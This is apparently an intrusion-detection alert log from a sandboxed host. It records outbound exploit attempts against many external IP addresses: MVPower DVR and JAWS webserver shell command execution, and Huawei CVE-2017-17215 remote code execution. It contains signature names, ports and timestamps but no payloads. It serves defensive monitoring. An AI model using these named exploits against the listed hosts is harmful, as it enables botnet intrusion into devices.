192.168.2.23146.75.21.14359376802025883 01/02/24-06:24:45.316760	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59376	80	192.168.2.23	146.75.21.143
192.168.2.2318.65.143.9547196802025883 01/02/24-06:25:12.172054	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47196	80	192.168.2.23	18.65.143.95
192.168.2.23203.170.84.9841608802025883 01/02/24-06:24:05.853329	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41608	80	192.168.2.23	203.170.84.98
192.168.2.23114.55.243.17648672802025883 01/02/24-06:25:22.179481	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48672	80	192.168.2.23	114.55.243.176
192.168.2.2387.255.233.5348182802030092 01/02/24-06:24:08.655481	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48182	80	192.168.2.23	87.255.233.53
192.168.2.2346.101.108.16542208802030092 01/02/24-06:24:24.183226	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42208	80	192.168.2.23	46.101.108.165
192.168.2.2386.181.28.25240796802025883 01/02/24-06:24:28.186813	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40796	80	192.168.2.23	86.181.28.252
192.168.2.23101.42.123.6038286802025883 01/02/24-06:23:49.854020	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38286	80	192.168.2.23	101.42.123.60
192.168.2.23173.224.201.17554220802030092 01/02/24-06:24:23.810709	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54220	80	192.168.2.23	173.224.201.175
192.168.2.23104.19.229.17639714802030092 01/02/24-06:24:40.719393	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39714	80	192.168.2.23	104.19.229.176
192.168.2.23174.84.210.335298802030092 01/02/24-06:25:31.914564	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35298	80	192.168.2.23	174.84.210.3
192.168.2.23154.92.226.19933136802025883 01/02/24-06:24:13.806614	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33136	80	192.168.2.23	154.92.226.199
192.168.2.2338.181.35.21934152802030092 01/02/24-06:23:55.217292	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34152	80	192.168.2.23	38.181.35.219
192.168.2.23104.93.2.11952484802025883 01/02/24-06:24:52.173461	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52484	80	192.168.2.23	104.93.2.119
192.168.2.23104.107.28.1660550802025883 01/02/24-06:23:51.391248	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60550	80	192.168.2.23	104.107.28.16
192.168.2.2345.56.102.14636664802025883 01/02/24-06:24:56.015984	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36664	80	192.168.2.23	45.56.102.146
192.168.2.2334.126.113.7654070802030092 01/02/24-06:25:15.540979	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54070	80	192.168.2.23	34.126.113.76
192.168.2.23185.110.26.8256372802030092 01/02/24-06:24:19.276074	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56372	80	192.168.2.23	185.110.26.82
192.168.2.23154.221.82.22160596802030092 01/02/24-06:25:02.335948	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60596	80	192.168.2.23	154.221.82.221
192.168.2.2313.249.87.5444040802030092 01/02/24-06:24:23.621355	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44040	80	192.168.2.23	13.249.87.54
192.168.2.2318.66.27.18250544802025883 01/02/24-06:24:59.193137	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50544	80	192.168.2.23	18.66.27.182
192.168.2.23149.155.143.6259544802030092 01/02/24-06:25:25.272485	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59544	80	192.168.2.23	149.155.143.62
192.168.2.2323.43.229.22859784802025883 01/02/24-06:23:58.287305	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59784	80	192.168.2.23	23.43.229.228
192.168.2.2331.30.58.13333052802030092 01/02/24-06:24:10.909503	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33052	80	192.168.2.23	31.30.58.133
192.168.2.2351.68.46.2342144802030092 01/02/24-06:24:54.912247	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42144	80	192.168.2.23	51.68.46.23
192.168.2.23212.8.247.7039420802030092 01/02/24-06:24:59.257113	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39420	80	192.168.2.23	212.8.247.70
192.168.2.23154.208.198.21441798802030092 01/02/24-06:24:45.035888	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41798	80	192.168.2.23	154.208.198.214
192.168.2.2337.221.198.8650826802030092 01/02/24-06:25:24.777893	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50826	80	192.168.2.23	37.221.198.86
192.168.2.23173.242.127.8135322802025883 01/02/24-06:25:25.176699	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35322	80	192.168.2.23	173.242.127.81
192.168.2.2350.19.25.18857882802030092 01/02/24-06:24:17.916928	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57882	80	192.168.2.23	50.19.25.188
192.168.2.2377.242.107.19653440802025883 01/02/24-06:25:25.327513	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53440	80	192.168.2.23	77.242.107.196
192.168.2.23152.67.216.18058250802025883 01/02/24-06:24:09.004126	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58250	80	192.168.2.23	152.67.216.180
192.168.2.23103.50.160.13953436802025883 01/02/24-06:24:30.812927	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53436	80	192.168.2.23	103.50.160.139
192.168.2.2352.50.137.22941178802025883 01/02/24-06:24:03.282074	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41178	80	192.168.2.23	52.50.137.229
192.168.2.232.16.231.22546374802025883 01/02/24-06:24:45.225996	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46374	80	192.168.2.23	2.16.231.225
192.168.2.23146.75.63.13352912802025883 01/02/24-06:23:55.171237	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52912	80	192.168.2.23	146.75.63.133
192.168.2.2352.196.15.13145438802025883 01/02/24-06:25:02.277841	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45438	80	192.168.2.23	52.196.15.131
192.168.2.23157.52.181.6140930802025883 01/02/24-06:25:29.722171	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40930	80	192.168.2.23	157.52.181.61
192.168.2.23104.105.18.18246624802030092 01/02/24-06:24:13.802828	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46624	80	192.168.2.23	104.105.18.182
192.168.2.23204.152.46.6744196802025883 01/02/24-06:24:40.815829	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44196	80	192.168.2.23	204.152.46.67
192.168.2.23184.85.129.25155542802025883 01/02/24-06:24:01.334668	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55542	80	192.168.2.23	184.85.129.251
192.168.2.23121.11.37.23456708802025883 01/02/24-06:24:50.567237	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56708	80	192.168.2.23	121.11.37.234
192.168.2.23125.229.151.23948022802025883 01/02/24-06:23:54.655329	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48022	80	192.168.2.23	125.229.151.239
192.168.2.23107.158.48.17360248802025883 01/02/24-06:25:24.657251	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60248	80	192.168.2.23	107.158.48.173
192.168.2.2335.244.131.839990802025883 01/02/24-06:25:34.794177	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39990	80	192.168.2.23	35.244.131.8
192.168.2.23191.82.53.4348036802030092 01/02/24-06:24:27.438039	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48036	80	192.168.2.23	191.82.53.43
192.168.2.2354.211.17.19052204802025883 01/02/24-06:23:51.955510	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52204	80	192.168.2.23	54.211.17.190
192.168.2.2318.67.147.1742596802030092 01/02/24-06:25:34.896348	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42596	80	192.168.2.23	18.67.147.17
192.168.2.23190.167.115.16244810802030092 01/02/24-06:23:55.091590	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44810	80	192.168.2.23	190.167.115.162
192.168.2.23156.254.100.15556258372152835222 01/02/24-06:24:45.346010	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56258	37215	192.168.2.23	156.254.100.155
192.168.2.2318.208.8.11543682802030092 01/02/24-06:25:15.875600	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43682	80	192.168.2.23	18.208.8.115
192.168.2.23154.219.183.10247752802025883 01/02/24-06:25:34.822358	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47752	80	192.168.2.23	154.219.183.102
192.168.2.23111.87.115.15347612802030092 01/02/24-06:25:25.281636	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47612	80	192.168.2.23	111.87.115.153
192.168.2.23220.134.218.24855228802030092 01/02/24-06:23:51.508732	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55228	80	192.168.2.23	220.134.218.248
192.168.2.23114.33.8.1834070802025883 01/02/24-06:25:18.822764	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34070	80	192.168.2.23	114.33.8.18
192.168.2.2398.123.179.9836228802025883 01/02/24-06:24:08.556843	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36228	80	192.168.2.23	98.123.179.98
192.168.2.2394.250.243.644720802030092 01/02/24-06:24:27.687612	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44720	80	192.168.2.23	94.250.243.6
192.168.2.2352.204.79.20242440802030092 01/02/24-06:25:11.888955	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42440	80	192.168.2.23	52.204.79.202
192.168.2.23211.253.8.10738410802025883 01/02/24-06:25:02.050528	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38410	80	192.168.2.23	211.253.8.107
192.168.2.2323.50.91.16934304802030092 01/02/24-06:25:25.361156	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34304	80	192.168.2.23	23.50.91.169
192.168.2.23159.69.20.6060990802030092 01/02/24-06:23:51.599206	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60990	80	192.168.2.23	159.69.20.60
192.168.2.2323.221.123.6153238802025883 01/02/24-06:25:30.014297	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53238	80	192.168.2.23	23.221.123.61
192.168.2.2338.173.201.9140430802025883 01/02/24-06:24:30.753564	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40430	80	192.168.2.23	38.173.201.91
192.168.2.2343.192.122.6537710802025883 01/02/24-06:25:42.873893	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37710	80	192.168.2.23	43.192.122.65
192.168.2.2345.63.78.7035444802030092 01/02/24-06:24:24.766885	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35444	80	192.168.2.23	45.63.78.70
192.168.2.23185.214.242.16237540802025883 01/02/24-06:24:49.039118	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37540	80	192.168.2.23	185.214.242.162
192.168.2.23198.154.232.24259276802030092 01/02/24-06:24:45.021090	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59276	80	192.168.2.23	198.154.232.242
192.168.2.2334.203.180.1341426802025883 01/02/24-06:24:04.156700	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41426	80	192.168.2.23	34.203.180.13
192.168.2.2323.14.39.9148702802030092 01/02/24-06:25:37.988872	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48702	80	192.168.2.23	23.14.39.91
192.168.2.2371.80.219.1554798802025883 01/02/24-06:24:23.996859	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54798	80	192.168.2.23	71.80.219.15
192.168.2.23121.11.37.23456696802030092 01/02/24-06:24:50.251380	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56696	80	192.168.2.23	121.11.37.234
192.168.2.2335.231.230.6033018802030092 01/02/24-06:25:03.820714	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33018	80	192.168.2.23	35.231.230.60
192.168.2.23173.255.250.6148452802030092 01/02/24-06:24:17.602391	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48452	80	192.168.2.23	173.255.250.61
192.168.2.23203.198.100.11341360802030092 01/02/24-06:25:25.334124	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41360	80	192.168.2.23	203.198.100.113
192.168.2.2382.163.53.1537476802030092 01/02/24-06:24:23.976596	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37476	80	192.168.2.23	82.163.53.15
192.168.2.23198.12.222.11345034802025883 01/02/24-06:24:58.944478	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45034	80	192.168.2.23	198.12.222.113
192.168.2.2394.253.89.2442508802030092 01/02/24-06:23:50.267161	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42508	80	192.168.2.23	94.253.89.24
192.168.2.23188.128.206.16847120802030092 01/02/24-06:24:13.779989	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47120	80	192.168.2.23	188.128.206.168
192.168.2.23209.240.113.20338972802030092 01/02/24-06:25:25.193436	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38972	80	192.168.2.23	209.240.113.203
192.168.2.23104.113.198.15836010802030092 01/02/24-06:24:24.210333	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36010	80	192.168.2.23	104.113.198.158
192.168.2.2370.121.13.460866802025883 01/02/24-06:24:27.470721	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60866	80	192.168.2.23	70.121.13.4
192.168.2.23156.235.99.3048078372152829579 01/02/24-06:25:03.497384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48078	37215	192.168.2.23	156.235.99.30
192.168.2.23186.132.17.22347340802030092 01/02/24-06:24:18.726816	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47340	80	192.168.2.23	186.132.17.223
192.168.2.23202.81.229.16957854802025883 01/02/24-06:24:05.844790	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57854	80	192.168.2.23	202.81.229.169
192.168.2.2363.195.193.24042464802030092 01/02/24-06:23:51.372398	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42464	80	192.168.2.23	63.195.193.240
192.168.2.2323.55.68.9857508802030092 01/02/24-06:25:29.993837	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57508	80	192.168.2.23	23.55.68.98
192.168.2.2334.206.169.21634808802025883 01/02/24-06:25:00.915047	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34808	80	192.168.2.23	34.206.169.216
192.168.2.232.21.224.12652276802030092 01/02/24-06:25:16.010358	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52276	80	192.168.2.23	2.21.224.126
192.168.2.2396.67.179.140870802030092 01/02/24-06:24:10.828261	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40870	80	192.168.2.23	96.67.179.1
192.168.2.23104.125.2.9460962802025883 01/02/24-06:24:40.594854	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60962	80	192.168.2.23	104.125.2.94
192.168.2.2334.160.79.11940184802025883 01/02/24-06:25:43.999253	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40184	80	192.168.2.23	34.160.79.119
192.168.2.2313.127.14.18542886802030092 01/02/24-06:24:41.189472	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42886	80	192.168.2.23	13.127.14.185
192.168.2.23198.44.232.13837024802025883 01/02/24-06:25:43.163000	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37024	80	192.168.2.23	198.44.232.138
192.168.2.2367.212.162.8360502802030092 01/02/24-06:23:51.361230	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60502	80	192.168.2.23	67.212.162.83
192.168.2.2323.207.79.24432972802030092 01/02/24-06:24:45.082176	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32972	80	192.168.2.23	23.207.79.244
192.168.2.23185.164.6.4838734802030092 01/02/24-06:23:54.914292	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38734	80	192.168.2.23	185.164.6.48
192.168.2.2338.132.215.4440936802030092 01/02/24-06:24:13.920460	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40936	80	192.168.2.23	38.132.215.44
192.168.2.23104.92.147.4650912802025883 01/02/24-06:24:41.035412	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50912	80	192.168.2.23	104.92.147.46
192.168.2.2338.239.158.19649628802030092 01/02/24-06:24:03.470698	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49628	80	192.168.2.23	38.239.158.196
192.168.2.2364.120.69.4946098802030092 01/02/24-06:24:49.087899	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46098	80	192.168.2.23	64.120.69.49
192.168.2.2389.31.76.4547048802030092 01/02/24-06:24:08.904729	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47048	80	192.168.2.23	89.31.76.45
192.168.2.2352.68.208.13645118802025883 01/02/24-06:25:29.707548	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45118	80	192.168.2.23	52.68.208.136
192.168.2.23208.109.173.19843616802030092 01/02/24-06:25:34.668261	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43616	80	192.168.2.23	208.109.173.198
192.168.2.23199.232.239.4846658802025883 01/02/24-06:24:23.868552	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46658	80	192.168.2.23	199.232.239.48
192.168.2.23202.238.204.21040470802030092 01/02/24-06:24:24.201458	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40470	80	192.168.2.23	202.238.204.210
192.168.2.23104.69.218.3453078802030092 01/02/24-06:24:30.590605	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53078	80	192.168.2.23	104.69.218.34
192.168.2.2344.237.111.25343424802025883 01/02/24-06:23:59.006301	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43424	80	192.168.2.23	44.237.111.253
192.168.2.23121.143.178.8245270802030092 01/02/24-06:25:22.173559	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45270	80	192.168.2.23	121.143.178.82
192.168.2.23172.98.133.4651318802030092 01/02/24-06:25:21.231178	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51318	80	192.168.2.23	172.98.133.46
192.168.2.2354.199.121.17058798802025883 01/02/24-06:24:19.269485	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58798	80	192.168.2.23	54.199.121.170
192.168.2.23117.20.101.12541464802025883 01/02/24-06:24:32.881657	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41464	80	192.168.2.23	117.20.101.125
192.168.2.23205.164.12.22246902802025883 01/02/24-06:24:20.042564	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46902	80	192.168.2.23	205.164.12.222
192.168.2.2343.139.38.17550990802025883 01/02/24-06:24:04.154188	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50990	80	192.168.2.23	43.139.38.175
192.168.2.2352.218.234.14751138802025883 01/02/24-06:25:02.194486	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51138	80	192.168.2.23	52.218.234.147
192.168.2.2383.148.198.4442066802025883 01/02/24-06:25:42.757624	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42066	80	192.168.2.23	83.148.198.44
192.168.2.23157.245.212.16341682802025883 01/02/24-06:24:14.930071	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41682	80	192.168.2.23	157.245.212.163
192.168.2.2334.120.145.3256908802030092 01/02/24-06:25:06.732120	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56908	80	192.168.2.23	34.120.145.32
192.168.2.2323.204.125.10656446802030092 01/02/24-06:24:14.743069	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56446	80	192.168.2.23	23.204.125.106
192.168.2.23193.182.144.15439910802025883 01/02/24-06:25:31.359030	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39910	80	192.168.2.23	193.182.144.154
192.168.2.23184.26.2.23933266802030092 01/02/24-06:25:32.158283	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33266	80	192.168.2.23	184.26.2.239
192.168.2.2318.155.199.10545054802030092 01/02/24-06:23:54.818570	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45054	80	192.168.2.23	18.155.199.105
192.168.2.23209.240.113.20338972802025883 01/02/24-06:25:25.193436	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38972	80	192.168.2.23	209.240.113.203
192.168.2.23184.85.178.23639722802025883 01/02/24-06:25:16.029669	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39722	80	192.168.2.23	184.85.178.236
192.168.2.2354.254.143.7760350802025883 01/02/24-06:23:58.484471	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60350	80	192.168.2.23	54.254.143.77
192.168.2.23104.126.126.8152802802030092 01/02/24-06:25:30.150804	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52802	80	192.168.2.23	104.126.126.81
192.168.2.23104.113.198.15836010802025883 01/02/24-06:24:24.210333	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36010	80	192.168.2.23	104.113.198.158
192.168.2.23188.166.210.13957904802025883 01/02/24-06:25:21.187951	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57904	80	192.168.2.23	188.166.210.139
192.168.2.23178.159.46.9149008802025883 01/02/24-06:25:39.173695	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49008	80	192.168.2.23	178.159.46.91
192.168.2.23183.111.183.23054570802030092 01/02/24-06:25:04.271400	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54570	80	192.168.2.23	183.111.183.230
192.168.2.2387.106.240.16348362802030092 01/02/24-06:25:18.777402	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48362	80	192.168.2.23	87.106.240.163
192.168.2.232.19.103.22048104802030092 01/02/24-06:25:04.208897	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48104	80	192.168.2.23	2.19.103.220
192.168.2.2318.154.143.21732888802025883 01/02/24-06:25:38.870167	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32888	80	192.168.2.23	18.154.143.217
192.168.2.23104.99.215.10858622802025883 01/02/24-06:24:54.969765	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58622	80	192.168.2.23	104.99.215.108
192.168.2.2377.40.58.2351878802025883 01/02/24-06:25:02.046176	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51878	80	192.168.2.23	77.40.58.23
192.168.2.2338.181.35.21934712802025883 01/02/24-06:24:09.179650	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34712	80	192.168.2.23	38.181.35.219
192.168.2.2357.180.216.7335048802025883 01/02/24-06:25:30.173193	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35048	80	192.168.2.23	57.180.216.73
192.168.2.23175.27.12.21960064802025883 01/02/24-06:25:32.237664	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60064	80	192.168.2.23	175.27.12.219
192.168.2.2341.0.84.3441028372152835222 01/02/24-06:24:06.080918	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41028	37215	192.168.2.23	41.0.84.34
192.168.2.2399.142.66.14860348802030092 01/02/24-06:25:29.576053	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60348	80	192.168.2.23	99.142.66.148
192.168.2.232.17.176.1145384802030092 01/02/24-06:25:15.290469	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45384	80	192.168.2.23	2.17.176.11
192.168.2.2323.222.136.16659240802025883 01/02/24-06:25:34.867652	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59240	80	192.168.2.23	23.222.136.166
192.168.2.2318.142.2.15938786802025883 01/02/24-06:24:24.307205	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38786	80	192.168.2.23	18.142.2.159
192.168.2.23103.57.209.4560092802030092 01/02/24-06:25:10.115853	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60092	80	192.168.2.23	103.57.209.45
192.168.2.2372.37.218.19948926802030092 01/02/24-06:24:05.713034	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48926	80	192.168.2.23	72.37.218.199
192.168.2.2354.87.227.16435480802030092 01/02/24-06:25:22.000530	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35480	80	192.168.2.23	54.87.227.164
192.168.2.2346.101.163.10735924802030092 01/02/24-06:25:11.820546	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35924	80	192.168.2.23	46.101.163.107
192.168.2.2369.80.206.8755282802025883 01/02/24-06:24:19.154384	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55282	80	192.168.2.23	69.80.206.87
192.168.2.2358.152.149.559232802030092 01/02/24-06:24:41.116385	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59232	80	192.168.2.23	58.152.149.5
192.168.2.2354.150.52.14052998802030092 01/02/24-06:24:24.012270	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52998	80	192.168.2.23	54.150.52.140
192.168.2.23103.39.16.6847170802030092 01/02/24-06:24:15.125482	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47170	80	192.168.2.23	103.39.16.68
192.168.2.23221.153.44.20137018802025883 01/02/24-06:25:09.681419	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37018	80	192.168.2.23	221.153.44.201
192.168.2.232.21.48.24839876802030092 01/02/24-06:24:51.823067	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39876	80	192.168.2.23	2.21.48.248
192.168.2.2377.242.107.19653440802030092 01/02/24-06:25:25.327513	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53440	80	192.168.2.23	77.242.107.196
192.168.2.23104.83.91.4142372802030092 01/02/24-06:24:06.101527	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42372	80	192.168.2.23	104.83.91.41
192.168.2.23162.159.129.10357618802030092 01/02/24-06:24:03.166357	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57618	80	192.168.2.23	162.159.129.103
192.168.2.23134.0.11.20345208802025883 01/02/24-06:24:03.999636	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45208	80	192.168.2.23	134.0.11.203
192.168.2.23104.80.89.1760656802025883 01/02/24-06:25:31.932213	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60656	80	192.168.2.23	104.80.89.17
192.168.2.2323.33.51.1137284802030092 01/02/24-06:25:10.230054	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37284	80	192.168.2.23	23.33.51.11
192.168.2.2323.48.76.9154442802030092 01/02/24-06:25:30.270726	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54442	80	192.168.2.23	23.48.76.91
192.168.2.2352.29.37.5835934802030092 01/02/24-06:25:21.265685	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35934	80	192.168.2.23	52.29.37.58
192.168.2.2351.138.221.22455554802030092 01/02/24-06:25:00.997015	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55554	80	192.168.2.23	51.138.221.224
192.168.2.23151.101.7.16645530802025883 01/02/24-06:23:49.491267	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45530	80	192.168.2.23	151.101.7.166
192.168.2.23104.82.113.6149624802030092 01/02/24-06:23:55.139649	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49624	80	192.168.2.23	104.82.113.61
192.168.2.23104.19.229.17639714802025883 01/02/24-06:24:40.719393	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39714	80	192.168.2.23	104.19.229.176
